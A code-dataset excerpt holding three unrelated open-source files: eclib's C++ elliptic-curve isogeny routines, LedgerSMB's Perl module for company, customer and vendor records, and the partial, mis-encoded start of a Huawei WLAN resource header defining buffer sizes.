ans.push_back(3); ans.push_back(5); ans.push_back(7); bigint N = getconductor(CR); if(!semistable(CR)) { ans.push_back(13); bigint njay=pow(getc4(CR),3); bigint djay=getdiscr(CR); bigint g=gcd(njay,djay); if(!is_one(g)) {njay/=g; djay/=g;} if(djay<0) {djay=-djay; njay=-njay;} // Thanks to Mark Watkins if(is_one(djay)) { if((njay==j11a)||(njay==j11b)||(njay==j11c)) ans.push_back(11); else {if((njay==j37a)||(njay==j37b)) ans.push_back(37); else {if(njay==j19) ans.push_back(19); else {if(njay==j43) ans.push_back(43); else {if(njay==j67) ans.push_back(67); else {if(njay==j163) ans.push_back(163); }}}}} } // end if integral cases else // check with j17a, j17b { if(div(17,N)) if(comprat(njay,djay,nj17a,dj17a)|| comprat(njay,djay,nj17b,dj17b)) ans.push_back(17); } } return ans; } IsogenyClass::IsogenyClass(const CurveRed& C, int verbose) { verb=verbose; cp = Cperiods(C); if(verb) { cout << endl; C.output(cout); cout<<"\nPeriod lattice:\n" << cp << endl; } llist = getelllist(C); ss = semistable(C); if(verb) { cout << "Curve is ";if(!ss)cout<<"NOT ";cout<<"semistable."<<endl; } nell = llist.size(); curves.push_back(C); fromlist.push_back(0); isoglist.push_back(0); matij = vector<long>(MAXNCURVES*MAXNCURVES,0); // initialized to 0 } void IsogenyClass::process(long i) // process i'th curve { vector<long> lworks(nell); // only used when i=0 CurveRed thisc = curves[i]; if (verb) cout << "Working on curve " << i+1 << ": " << (Curve)thisc << endl; Cperiods pers(thisc); vector<long>::iterator lvar=llist.begin(); long il=0, ell, n; while(lvar!=llist.end()) { ell = *lvar++; if (verb) cout << "trying l = " << ell << "..." << flush; vector<CurveRed> lisogcurves = lisog(thisc,pers,ell,verb); if (verb) cout << lisogcurves.size() << " isogenous curves found." << endl; if(i==0) { // cout<<"setting lworks["<<il<<"] to "<< !lisogcurves.empty() << endl; // cout<<"where llist["<<il<<"] = "<<llist[il]<<endl; lworks[il++] = !lisogcurves.empty(); } vector<CurveRed>::iterator Ci=lisogcurves.begin(); n=0; while(Ci!=lisogcurves.end()) { CurveRed newc = *Ci++; n++; if (verb) cout << "\t"<<n<<": "<<(Curve)newc<<"\t: "; int j=0, isnew = 1; vector<CurveRed>::iterator oldCi=curves.begin(); while(oldCi!=curves.end()) { if ((Curve)newc==(Curve)(*oldCi++)) { isnew=0; matset(i,j,ell); matset(j,i,ell); } j++; } if (isnew) { curves.push_back(newc); fromlist.push_back(i); isoglist.push_back(ell); matset(i,ncurves,ell); matset(ncurves,i,ell); ncurves++; if (verb) cout << "new # " << ncurves << endl; } else if (verb) cout << "repeat" << endl; } } // end of ell loop if(i==0) // reset llist to good l only; { vector<long> goodllist; for(long ii=0; ii<nell; ii++) if(lworks[ii]) goodllist.push_back(llist[ii]); nell=goodllist.size(); llist=goodllist; if(verb) { cout << "Number of useful l is " << nell; if(nell) cout << ": " << llist; cout<<endl; } } } void IsogenyClass::grow(void) // does the work { if(verb) cout << "Trying l values: " << llist << endl; // N.B. ncurves will increase as more curves are found for (ndone=0, ncurves=1; ndone<ncurves; ndone++) { // cout << "After processing "<<ndone<<" curve(s), :"; // display(cout); process(ndone); } } void IsogenyClass::displaycurves(ostream& os)const { os << endl << ncurves << " curve(s) in the isogeny class"<<endl<<endl; if(ncurves==0) return; long i; for (i=0; i<ncurves; i++) { Curve ci = (Curve)curves[i]; os << (i+1) << ": " << ci; if (i>0) os << " is "<< isoglist[i]<<"-isogenous to curve "<<fromlist[i]+1; os<<endl; } os<<endl; } void IsogenyClass::displaymat(ostream& os)const { if(ncurves==0) return; long i,j; os << "Isogeny matrix:\n"; os << "\t"; for(j=0; j<ncurves; j++) os<<(j+1)<<"\t"; os<<"\n"; for(i=0; i<ncurves; i++) { os<<(i+1)<<"\t"; for(j=0; j<ncurves; j++) os<<mat_entry(i,j)<<"\t"; os<<"\n"; } os<<endl; } void IsogenyClass::dumpdata(ostream& os, long rank) // output for textab to input { os << ncurves << "\n"; long ic, jc, il, nj; char sep = ' '; for (ic=0; ic<ncurves; ic++) { CurveRed& C = curves[ic]; os << C.a1 << sep << C.a2 << sep << C.a3 << sep << C.a4 << sep << C.a6 << sep ; os << rank << sep; //cout << "C.ntorsion = " << C.ntorsion << endl; os << C.get_ntorsion() << sep; //cout << "After C.get_ntorsion(), C.ntorsion = " << C.ntorsion << endl; if(sign(C.discr)>0) os << "+1" <<sep; else os << "-1" <<sep; vector<bigint>::const_iterator pi; pi=C.the_bad_primes.begin(); while(pi!=C.the_bad_primes.end()) os << C.reduct_array[*pi++].ord_p_discr << sep; pi=C.the_bad_primes.begin(); while(pi!=C.the_bad_primes.end()) os << C.reduct_array[*pi++].ord_p_j_denom << sep; pi=C.the_bad_primes.begin(); while(pi!=C.the_bad_primes.end()) os << C.reduct_array[*pi++].c_p << sep; pi=C.the_bad_primes.begin(); while(pi!=C.the_bad_primes.end()) os << C.reduct_array[*pi++].Kcode.code << sep; os << nell << sep; for(il=0; il<nell; il++) { long ell = llist[il]; for(jc=0, nj=0; jc<ncurves; jc++) if(mat_entry(ic,jc)==ell) nj++; os << nj << sep; // # of ell-isogenous curves os << llist[il] << sep; for(jc=0; jc<ncurves; jc++) if(mat_entry(ic,jc)==ell) os << (jc+1) << sep; // id #s of l-isogenous curves } os << endl; } } vector<long> IsogenyClass::getmat() const { vector<long> ans(ncurves*ncurves); long i,j; for(i=0; i<ncurves; i++) for(j=0; j<ncurves; j++) ans[i*ncurves+j] = mat_entry(i,j); return ans; } mat_i IsogenyClass::getmatrix() const { mat_i ans(ncurves,ncurves); long i,j; for(i=0; i<ncurves; i++) for(j=0; j<ncurves; j++) ans.set(i+1,j+1,mat_entry(i,j)); return ans; } vector<CurveRed> twoisog(const CurveRed& CR, int verbose) //INPUT: a curve of type CurveRed //OUTPUT: an array of the curves 2-isogenous to the given curve //(possibly empty) { if(verbose>1) cout<<"In twoisog with CR = "<<CR<<endl; Curvedata CD((Curvedata)CR); if(verbose>1) cout<<"In twoisog with CD = "<<CD<<endl; vector<Point> tt = two_torsion(CD); // include [0:1:0] vector<CurveRed> ans; if(tt.size()==1) return ans; bigint a1,a2,a3,a4,a6,b2,b4,b6,b8; CR.getai(a1,a2,a3,a4,a6); CR.getbi(b2,b4,b6,b8); unsigned int i; for(i=1; i<tt.size(); i++) { Point T = tt[i]; bigint x = (4*T.getX())/T.getZ(); // =4x(T) bigint t = 3*x*x+2*b2*x+8*b4; if(verbose) cout<<"t = "<<t<<endl; bigint w = x*t; if(verbose) cout<<"w = "<<w<<endl; Curve E(2*a1, 4*a2, 8*a3, 16*a4-5*t, 64*a6-4*b2*t-7*w); if(verbose) cout<<"raw 2-isogenous curve = "<<E<<endl; Curvedata EE(E,1); if(verbose) cout<<"after minimising, 2-isogenous curve = "<<(Curve)EE<<endl; ans.push_back(CurveRed(EE)); } return ans; } vector<CurveRed> threeisog(const CurveRed& CR, int verbose) //INPUT: a curve of type CurveRed //OUTPUT: an array of the curves 3-isogenous to the given curve //(possibly empty) { if(verbose>1) cout<<"In threeisog with CR = "<<CR<<endl; Curvedata CD((Curvedata)CR); if(verbose>1) cout<<"In threeisog with CD = "<<CD<<endl; vector<bigint> xt3 = three_torsion_x(CD); if(verbose>1) cout<<"xt3 = "<<xt3<<endl; vector<CurveRed> ans; if(xt3.size()==0) return ans; bigint a1,a2,a3,a4,a6,b2,b4,b6,b8; CR.getai(a1,a2,a3,a4,a6); CR.getbi(b2,b4,b6,b8); for(unsigned int i=0; i<xt3.size(); i++) { bigint x = xt3[i]; // = 3*x-coord bigint t = (2*x+b2)*x+3*b4; if(verbose) cout<<"t = "<<t<<endl; bigint w = ((10*x+6*b2)*x+27*b4)*x+27*b6; if(verbose) cout<<"w = "<<w<<endl; Curve E(3*a1, 9*a2, 27*a3, 81*a4-135*t, 729*a6-243*b2*t-189*w); if(verbose) cout<<"raw 3-isogenous curve = "<<E<<endl; Curvedata EE(E,1); if(verbose) cout<<"after minimising, 3-isogenous curve = "<<(Curve)EE<<endl; ans.push_back(CurveRed(EE)); } return ans; }
JohnCremona/eclib
libsrc/isogs.cc
C++
gpl-2.0
15,642
=head1 NAME LedgerSMB::DBObject::Company.pm =head1 SYNOPSIS This library contains the base utility functions for creating, saving, and retrieving customers and vendors. =cut # This module has the following problems associated with it which need to be # revised. # # 1) The data in this module is too free-form. There needs to be more # structure, and that probably requires breaking it out into a Location.pm, # Contact.pm, Notes.pm, etc. # # 2) The current code ties the company to the credit account too much. This # needs to be separated. --CT package LedgerSMB::DBObject::Company; use LedgerSMB::Setting; use base qw(LedgerSMB::DBObject); use strict; =head1 METHODS =over =item $company->set_entity_class() This is a stub for a private method that subclasses are expected to overwrite. It will be set to the account class of the entity (1 for vendor, 2 for customer, etc). =back =cut sub set_entity_class { my $self = shift @_; if (!defined $self->{entity_class}){ $self->error("Entity ID Not Set and No Entity Class Defined!"); } } =over =item get_by_cc This retrieves the company header information by control code. Leaves the overall account class untouched. =back =cut sub get_by_cc { my $self = shift @_; my $entity_class = $self->{entity_class}; my ($ref) = $self->exec_method({funcname => 'entity__get_by_cc'}); $self->merge($ref); $self->{entity_id} = $self->{id}; delete $self->{id}; $self->get; $self->get_metadata; $self->{entity_class} = $entity_class; } =over =item save() This stores the company record including a credit account in the database. TODO: Separate company from credit account storage. =back =cut sub save { my $self = shift @_; $self->set_entity_class(); unless($self->{control_code}) { $self->{notice} = "You must set the Control Code"; return; } unless($self->{name}) { $self->{notice} = "You must set the Name"; return; } my ($ref) = $self->exec_method(funcname => 'company_save'); $self->{entity_id} = (values %$ref)[0]; $self->get; $self->get_metadata; $self->{dbh}->commit; } =over =item delete_contact required request variables: contact_class_id: int id of contact class contact: text of contact information Must include at least one of: credit_id: int of entity_credit_account.id, preferred value company_id: int of company.id, only used if credit_id not set. returns true of a record was deleted. =back =cut sub delete_contact { my ($self) = @_; my $rv; if ($self->{credit_id}){ ($rv) = $self->exec_method(funcname => 'eca__delete_contact'); } elsif ($self->{company_id}){ ($rv) = $self->exec_method(funcname => 'company__delete_contact'); } else { $self->error($self->{_locale}->text( 'No company or credit id in LedgerSMB::DBObject::delete_contact' )); } $self->{dbh}->commit; return $rv; } =over =item delete_location Deletes a record from the location side. Required request variables: location_id location_class_id One of: credit_id (preferred) company_id (as fallback) Returns true if a record was deleted. False otherwise. =back =cut sub delete_location { my ($self) = @_; my $rv; if ($self->{credit_id}){ ($rv) = $self->exec_method(funcname => 'eca__delete_location'); } elsif ($self->{company_id}){ ($rv) = $self->exec_method(funcname => 'company__delete_location'); } else { $self->error($self->{_locale}->text( 'No company or credit id in LedgerSMB::DBObject::delete_location' )); } $self->{dbh}->commit; return $rv; } =over =item delete_bank_account Deletes a bank account Requires: entity_id bank_account_id Returns true if a record was deleted, false otherwise. =back =cut sub delete_bank_account { my ($self) = @_; my $rv; ($rv) = $self->exec_method(funcname => 'entity__delete_bank_account', args => [$self->{entity_id}, $self->{bank_account_id}]); $self->{dbh}->commit; return $rv; } =over =item get_history Retrieves customer/vendor purchase. Search Criteria name: search string for company name contact_info: Search string for contact info, can match phone, fax, or email. salesperson: Search string for employee name in the salesperson field notes: Notes search. Not currently implemented meta_number: Exact match for customer/vendor number address_line: Search string for first or second line of address. city: Search string for city name state: Case insensitive, otherwise exact match for state or province zip: leading match for zip/mail code country_id: integer for country id. Exact match tartdate_from: Earliest date for startdate of entity credit account startdate_to: Lates date for entity credit accounts' start date type: either 'i' for invoice, 'o' for orders, 'q' for quotations from_date: Earliest date for the invoice/order to_date: Latest date for the invoice/order Unless otherwise noted, partial matches are sufficient. Control variables: inc_open: Include open invoices/orders. If not true, no open invoices are displayed inc_closed: Include closed invoices/orders. If not true, no closed invoices are displayed report_type: Either summary or detail returns a list of rows of the summary report and sets these to @{$self->{history_rows}} =back =cut sub get_history { my ($self) = @_; my @results; if ($self->{report_type} eq 'summary') { @results = $self->exec_method(funcname => 'eca_history_summary'); } elsif ($self->{report_type} eq 'detail'){ @results = $self->exec_method(funcname => 'eca_history'); } else { $self->error('Invalid report type in history report'); } $self->{history_rows} = \@results; return @results; } =pod =over =item save_credit This method saves the credit account for the company. Expected inputs: credit_id (int): (Optional) Id for the account entity_class (int): Class of the account, required (1 = vendor, 2 = customer) entity_id (int): ID of entity to attach to. description (text): Description of account discount (numeric): Early payment discount taxincluded (bool): Whether prices include tax. creditlimit (numeric): Credit limit discount_terms (int): How many days can elapse before the discount lapses too. terms (int): How many days can lapse before the invoice is overdue. meta_number (varchar): Account string identifier for the account. business_id (int): ID for business type. language (varchar): Language code for invoices. pricegroup_id (int): Price group curr (char): Currency identifier, three characters long. startdate (date): Date of the start of the relationship. enddate (date): Date of the end of the relationship. threshold (NUMERIC): How much must be owed before the invoices can be paid. ar_ap_account_id (int): ID of ar/ap account. REQUIRED cash_account_id (int): ID of cash account (Optional) pay_to_name (text): Name to pay to or receive from. taxform_id (int); ID of tax form =back =cut sub save_credit { my $self = shift @_; $self->set_entity_class(); $self->{threshold} = $self->parse_amount(amount => $self->{threshold}); $self->{tax_ids} = $self->_db_array_scalars(@{$self->{tax_ids}}); my ($ref) = $self->exec_method(funcname => 'entity_credit_save'); $self->{credit_id} = (values %$ref)[0]; my $dbh=$self->{dbh}; if ($self->{taxform1_id}) { my $sth = $dbh->prepare( "update entity_credit_account set country_taxform_id=? where id=?" ); $sth->execute($self->{taxform1_id}, $self->{credit_id}); } if ($self->{tax_ids} ne '{}'){ $self->exec_method(funcname => 'eca__set_taxes'); } $self->{threshold} = $self->format_amount(amount => $self->{threshold}); $self->{dbh}->commit; } =over =item save_location This method saves an address for a company. Requires the following variables on the object: credit_id location_id location_class (1 = billing, 2 = shipping, 3 = sales) line_one line_two city state (can hold province info) mail_code (zip or postal code) country_code (ID of country) =back =cut sub save_location { my $self = shift @_; $self->{country_id} = $self->{country_code}; if($self->{credit_id}){ $self->exec_method(funcname => 'eca__location_save'); } else { my ($ref) = $self->exec_method(funcname => 'company__location_save'); my @vals = values %$ref; $self->{location_id} = $vals[0]; } $self->{dbh}->commit; } =over =item get_credit_id This method returns the current credit id from the screen. Requires entity_id, meta_number, and entity_class be set. =back =cut sub get_credit_id { my $self = shift @_; my ($ref) = $self->exec_method( funcname => 'entity_credit_get_id' ); $self->{credit_id} = $ref->{'entity_credit_get_id'}; } =over =item get_metadata() This retrieves various information vor building the user interface. Among other things, it sets the following properties: $self->{ar_ap_acc_list} = qw(list of ar or ap accounts) $self->{cash_acc_list} = qw(list of cash accounts) $self->{entity_classes} = qw(list of entity classes) $self->{all_taxes} =qw(list of taxes) =cut sub get_metadata { my $self = shift @_; @{$self->{entity_classes}} = $self->exec_method(funcname => 'entity__list_classes'); @{$self->{all_taxes}} = $self->exec_method(funcname => 'account__get_taxes'); @{$self->{ar_ap_acc_list}} = $self->exec_method(funcname => 'chart_get_ar_ap'); for my $ref (@{$self->{ar_ap_acc_list}}){ $ref->{text} = "$ref->{accno}--$ref->{description}"; } @{$self->{cash_acc_list}} = $self->exec_method(funcname => 'chart_list_cash'); for my $ref (@{$self->{cash_acc_list}}){ $ref->{text} = "$ref->{accno}--$ref->{description}"; } @{$self->{discount_acc_list}} = $self->exec_method(funcname => 'chart_list_discount'); for my $ref (@{$self->{discount_acc_list}}){ $ref->{text} = "$ref->{accno}--$ref->{description}"; } @{$self->{location_class_list}} = $self->exec_method(funcname => 'location_list_class'); @{$self->{business_types}} = $self->exec_method(funcname => 'business_type__list'); @{$self->{country_list}} = $self->exec_method(funcname => 'location_list_country'); @{$self->{contact_class_list}} = $self->exec_method(funcname => 'entity_list_contact_class'); my $country_setting = LedgerSMB::Setting->new({base => $self, copy => 'base'}); $country_setting->{key} = 'default_country'; $country_setting->get; $self->{default_country} = $country_setting->{value}; } =item save_contact Saves a contact. Requires credit_id, contact_class, description, and contact to be set. Requires the following be set: credit_id or entity_id contact_class description contact old_contact old_contact_class =cut sub save_contact { my ($self) = @_; if ($self->{credit_id}){ $self->exec_method(funcname => 'eca__save_contact'); } else { $self->exec_method(funcname => 'company__save_contact'); } $self->{dbh}->commit; } =item save_bank_account Saves a bank account. Requires the following be set: entity_id bic (bank id) iban (account number) bank_account_id (id for record, optional) =cut sub save_bank_account { my $self = shift @_; $self->exec_method(funcname => 'entity__save_bank_account'); $self->{dbh}->commit; } =item save_notes Saves notes. The following must be set: credit_id: credit account to annotate. Must be set to annotate credit account entity_id: entitity to annotate. note: Note contents subject: Note subject =cut sub save_notes { my $self = shift @_; if ($self->{credit_id} && $self->{note_class} eq '3'){ $self->exec_method(funcname => 'eca__save_notes'); } else { $self->exec_method(funcname => 'entity__save_notes'); } $self->{dbh}->commit; } =item search Searches for matching company records. Populates $self->{search_results} with records found. Search criteria and inputs: account_class: required (1 for vendor, 2 for customer, etc) contact contact_info meta_number address city state mail_code country date_from date_to business_id legal_name control_code Account class may not be undef. meta_number is an exact match, as is control_code. All others specify ranges or partial matches. =cut sub search { my ($self) = @_; @{$self->{search_results}} = $self->exec_method(funcname => 'company__search'); return @{$self->{search_results}}; } =item get_billing_info Requires that the id field is set. Sets the following: legal_name meta_number control_code tax_id street1 street2 street3 city state mail_code country =cut sub get_billing_info { my $self = shift @_; $self->set_entity_class(); my ($ref) = $self->exec_method(funcname => 'company_get_billing_info'); $self->merge($ref); } # I don't believe account() is used. At any rate the stored proc called # doesn't exist and therefore it can't work. Therefore deleting the account() # function. Not the same as the accounts() function which is used. --CT =item accounts Returns all accounts, and sets these to $self->{accounts}. id and entity_class must be set. =cut sub accounts { my ($self) = @_; $self->set_entity_class(); @{$self->{accounts}} = $self->exec_method(funcname => 'company__get_all_accounts'); } =item address($id) Returns the location if it is specified by the $id argument. =cut sub address { my ($self, $id) = @_; for my $loc (@{ $self->{locations} }) { if ($loc->{id} == $id) { return $loc; } } } =item get Retrieves a company record and all info. taxform_list is set to a list of tax forms for the entity's country credit_list is set to a list of credit accounts locations is set to a list of locations contacts to a list of contacts notes to a list of notes bank_account to a list of bank accounts =cut sub get { my $self = shift @_; $self->set_entity_class(); if($self->{entity_id}) { @{$self->{taxform_list}} = $self->exec_method(funcname => 'list_taxforms'); } my ($ref) = $self->exec_method(funcname => 'company_retrieve'); $self->merge($ref); $self->{threshold} = $self->format_amount(amount => $self->{threshold}); @{$self->{credit_list}} = $self->exec_method(funcname => 'entity__list_credit'); $self->{eca_tax} = []; for (@{$self->{credit_list}}){ if (($_->{credit_id} eq $self->{credit_id}) or ($_->{meta_number} eq $self->{meta_number}) or ($_->{id} eq $self->{credit_id})){ $self->merge($_); if ($_->{entity_class} == 1 || $_->{entity_class} == 2){ my @taxes = $self->exec_method(funcname => 'eca__get_taxes'); for my $tax (@taxes){ push @{$self->{eca_tax}}, $tax->{chart_id}; } } last; } } $self->{name} = $self->{legal_name}; if ($self->{credit_id} and $self->{meta_number}){ $self->get_credit_id; } if ($self->{credit_id}){ @{$self->{locations}} = $self->exec_method( funcname => 'eca__list_locations'); @{$self->{contacts}} = $self->exec_method( funcname => 'eca__list_contacts'); @{$self->{notes}} = $self->exec_method( funcname => 'eca__list_notes'); } else { @{$self->{locations}} = $self->exec_method( funcname => 'company__list_locations'); @{$self->{contacts}} = $self->exec_method( funcname => 'company__list_contacts'); @{$self->{notes}} = $self->exec_method( funcname => 'company__list_notes'); } if ($self->{location_id}){ for (@{$self->{locations}}){ if ($_->{id} == $self->{location_id}){ my $old_id = $self->{id}; $self->merge($_); for my $c (@{$self->{country_list}}){ if ($c->{name} eq $self->{country}){ $self->{country_code} = $c->{id}; } } last; } } } if ($self->{contact_id}){ for (@{$self->{contacts}}){ if ($_->{id} = $self->{contact_id}){ my $old_id = $self->{id}; $self->merge($_); $self->{id} = $old_id; last; } } } @{$self->{bank_account}} = $self->exec_method( funcname => 'company__list_bank_account'); }; =back =head1 COPYRIGHT Copyright (c) 2009, the LedgerSMB Core Team. This is licensed under the GNU General Public License, version 2, or at your option any later version. Please see the accompanying License.txt for more information. =cut 1;
cbbrowne/ledger-smb
LedgerSMB/DBObject/Company.pm
Perl
gpl-2.0
17,215
#ifndef __MAC_RESOURCE_H__ #define __MAC_RESOURCE_H__ #ifdef __cplusplus #if __cplusplus extern "C" { #endif #endif /***************************************************************************** 1 ÆäËûÍ·Îļþ°üº¬ *****************************************************************************/ #include "oal_ext_if.h" #include "oal_queue.h" #include "mac_device.h" #undef THIS_FILE_ID #define THIS_FILE_ID OAM_FILE_ID_MAC_RESOURCE_H /***************************************************************************** 2 ºê¶¨Òå *****************************************************************************/ #if (_PRE_PRODUCT_ID == _PRE_PRODUCT_ID_HI1102_DEV) /* mac_vap_stru, hmac_vap_stru˽Óв¿·Ö, dmac_vap_stru˽Óв¿·Ö×ܹæ¸ñ */ #ifdef _PRE_WLAN_FEATURE_CUSTOM_SECURITY #define MAC_RES_VAP_SIZE 3604 #else #define MAC_RES_VAP_SIZE 1652 #endif #ifdef _PRE_WLAN_FEATURE_TX_DSCR_OPT /* mac_user_stru, hmac_user_stru˽Óв¿·Ö, dmac_user_stru˽Óв¿·Ö×ܹæ¸ñ£¬±ØÐëËÄ×Ö½Ú¶ÔÆë */ #define MAC_RES_USER_SIZE 1520 #else #define MAC_RES_USER_SIZE 1400 #endif /* _PRE_WLAN_FEATURE_TX_DSCR_OPT */ #elif (_PRE_PRODUCT_ID == _PRE_PRODUCT_ID_HI1103_DEV) /* mac_vap_stru, hmac_vap_stru˽Óв¿·Ö, dmac_vap_stru˽Óв¿·Ö×ܹæ¸ñ */ #ifdef _PRE_WLAN_FEATURE_CUSTOM_SECURITY #define MAC_RES_VAP_SIZE 3600 #else #define MAC_RES_VAP_SIZE 1648 #endif #ifdef _PRE_WLAN_FEATURE_TX_DSCR_OPT /* mac_user_stru, hmac_user_stru˽Óв¿·Ö, dmac_user_stru˽Óв¿·Ö×ܹæ¸ñ£¬±ØÐëËÄ×Ö½Ú¶ÔÆë */ #define MAC_RES_USER_SIZE 1520 #else #define MAC_RES_USER_SIZE 1400 #endif /* _PRE_WLAN_FEATURE_TX_DSCR_OPT */ #elif (_PRE_PRODUCT_ID == _PRE_PRODUCT_ID_HI1102_HOST) /* mac_vap_stru, hmac_vap_stru˽Óв¿·Ö, dmac_vap_stru˽Óв¿·Ö×ܹæ¸ñ */ #ifdef _PRE_WLAN_FEATURE_CUSTOM_SECURITY #define MAC_RES_VAP_SIZE 6600 /* ÊÊÅäAndroid N°æ±¾£¬´Ó5928 µ÷Õûµ½6600 */ #else #define MAC_RES_VAP_SIZE 6600 /*ÊÊÅäARM64 ¶¼¶ÔÆëµ½8B*/ #endif #ifdef CONFIG_ARM64 /*when arm64, c pointer change to 8 bytes*/ #ifdef _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 1700 /* Ôö¼ÓÒµÎñʶ±ð¹¦Äܺó£¬hmac_user_stru½á¹¹ÌåÖÐÔö¼ÓÓû§ÒµÎñÐÅÏ¢£¬À©³ä¹æ¸ñΪ1700 */ #else #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 0 #endif /* end of _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN */ #define MAC_RES_USER_SIZE (4072 + FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE) #else /* mac_user_stru, hmac_user_stru˽Óв¿·Ö, dmac_user_stru˽Óв¿·Ö×ܹæ¸ñ£¬¿¼Âǵ½ARM64¶¼¶ÔÆëµ½8B */ #ifdef _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 1700 /* Ôö¼ÓÒµÎñʶ±ð¹¦Äܺó£¬hmac_user_stru½á¹¹ÌåÖÐÔö¼ÓÓû§ÒµÎñÐÅÏ¢£¬À©³ä¹æ¸ñΪ1700 */ #else #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 0 #endif /* end of _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN */ #define MAC_RES_USER_SIZE (2992 + FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE) #endif /* end of CONFIG_ARM64 */ #elif (_PRE_PRODUCT_ID == _PRE_PRODUCT_ID_HI1103_HOST) /* mac_vap_stru, hmac_vap_stru˽Óв¿·Ö, dmac_vap_stru˽Óв¿·Ö×ܹæ¸ñ */ #ifdef _PRE_WLAN_FEATURE_CUSTOM_SECURITY #define MAC_RES_VAP_SIZE 5904 #else #define MAC_RES_VAP_SIZE 5904 /*ÊÊÅäARM64 ¶¼¶ÔÆëµ½8B*/ #endif #ifdef CONFIG_ARM64 /*when arm64, c pointer change to 8 bytes*/ #ifdef _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 1700 /* Ôö¼ÓÒµÎñʶ±ð¹¦Äܺó£¬hmac_user_stru½á¹¹ÌåÖÐÔö¼ÓÓû§ÒµÎñÐÅÏ¢£¬À©³ä¹æ¸ñΪ1700 */ #else #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 0 #endif /* end of _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN */ #define MAC_RES_USER_SIZE (4072 + FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE) #else /* mac_user_stru, hmac_user_stru˽Óв¿·Ö, dmac_user_stru˽Óв¿·Ö×ܹæ¸ñ£¬¿¼Âǵ½ARM64¶¼¶ÔÆëµ½8B */ #ifdef _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 1700 /* Ôö¼ÓÒµÎñʶ±ð¹¦Äܺó£¬hmac_user_stru½á¹¹ÌåÖÐÔö¼ÓÓû§ÒµÎñÐÅÏ¢£¬À©³ä¹æ¸ñΪ1700 */ #else #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 0 #endif /* end of _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN */ #define MAC_RES_USER_SIZE (2992 + FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE) #endif /* end of CONFIG_ARM64 */ #else /* mac_vap_stru, hmac_vap_stru˽Óв¿·Ö, dmac_vap_stru˽Óв¿·Ö×ܹæ¸ñ */ #ifdef _PRE_WLAN_FEATURE_CUSTOM_SECURITY #ifdef _PRE_WLAN_FEATURE_HILINK #define MAC_RES_VAP_SIZE 4332 //(2600 + 1232) /* lm: hmac vap½á¹¹ÌåÖÐÔö¼Ó±äÁ¿¶¨Ê±Æ÷£¬½á¹û´óС³¬³ö¹æ¸ñ£¬Òò´ËÀ©³ä¹æ¸ñ´óС,0215 llz:hilink ÐèÔö¼Ósize */ #else #define MAC_RES_VAP_SIZE 4232 //(2600 + 1232) /* lm: hmac vap½á¹¹ÌåÖÐÔö¼Ó±äÁ¿¶¨Ê±Æ÷£¬½á¹û´óС³¬³ö¹æ¸ñ£¬Òò´ËÀ©³ä¹æ¸ñ´óС */ #endif #else #define MAC_RES_VAP_SIZE 2532 #endif /* mac_user_stru, hmac_user_stru˽Óв¿·Ö, dmac_user_stru˽Óв¿·Ö×ܹæ¸ñ£¬±ØÐëËÄ×Ö½Ú¶ÔÆë */ #ifdef _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 1700 /* Ôö¼ÓÒµÎñʶ±ð¹¦Äܺó£¬hmac_user_stru½á¹¹ÌåÖÐÔö¼ÓÓû§ÒµÎñÐÅÏ¢£¬À©³ä¹æ¸ñΪ1700 */ #else #define FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE 0 #endif /* end of _PRE_WLAN_FEATURE_TX_CLASSIFY_LAN_TO_WLAN */ #define MAC_RES_USER_SIZE (3724 + FEATURE_TX_CLASSIFY_LAN_TO_WLAN_RES_SIZE) /* Ô­À´Îª3560,ºóÔö´ó½á¹¹Ìå³ÉÔ±ºóΪ3640,Ô¤Áô60£¨Ô­Òò£º51Ë«ºË¼ÓÔØdmac³öÏָĽṹÌå¹ý´ó£©*/ #endif /* ×î´ódevÊýÁ¿ */ #define MAC_RES_MAX_DEV_NUM (WLAN_CHIP_MAX_NUM_PER_BOARD * WLAN_DEVICE_MAX_NUM_PER_CHIP) /***************************************************************************** 3 ö¾Ù¶¨Òå *****************************************************************************/ /***************************************************************************** 4 È«¾Ö±äÁ¿ÉùÃ÷ *****************************************************************************/ extern oal_uint16 g_us_max_asoc_user; /***************************************************************************** 5 ÏûϢͷ¶¨Òå *****************************************************************************/ /***************************************************************************** 6 ÏûÏ¢¶¨Òå *****************************************************************************/ /***************************************************************************** 7 STRUCT¶¨Òå *****************************************************************************/ typedef struct { oal_uint8 uc_vap[MAC_RES_VAP_SIZE]; }mac_res_mem_vap_stru; typedef struct { oal_uint8 uc_user[MAC_RES_USER_SIZE]; }mac_res_mem_user_stru; typedef struct { oal_dlist_head_stru st_entry; oal_uint16 us_user_idx; /* ¼Ç¼¶ÔÓ¦µÄUSERµÄË÷ÒýÖµ */ oal_uint16 us_hash_res_idx; /* ¼Ç¼¶ÔÓ¦µÄHASH×ÊÔ´³ØµÄË÷ÒýÖµ */ }mac_res_user_hash_stru; /* typedef struct { mac_res_user_hash_stru ast_user_hash_info[WLAN_ASSOC_USER_MAX_NUM]; oal_queue_stru st_queue; oal_uint32 aul_idx[WLAN_ASSOC_USER_MAX_NUM]; oal_uint8 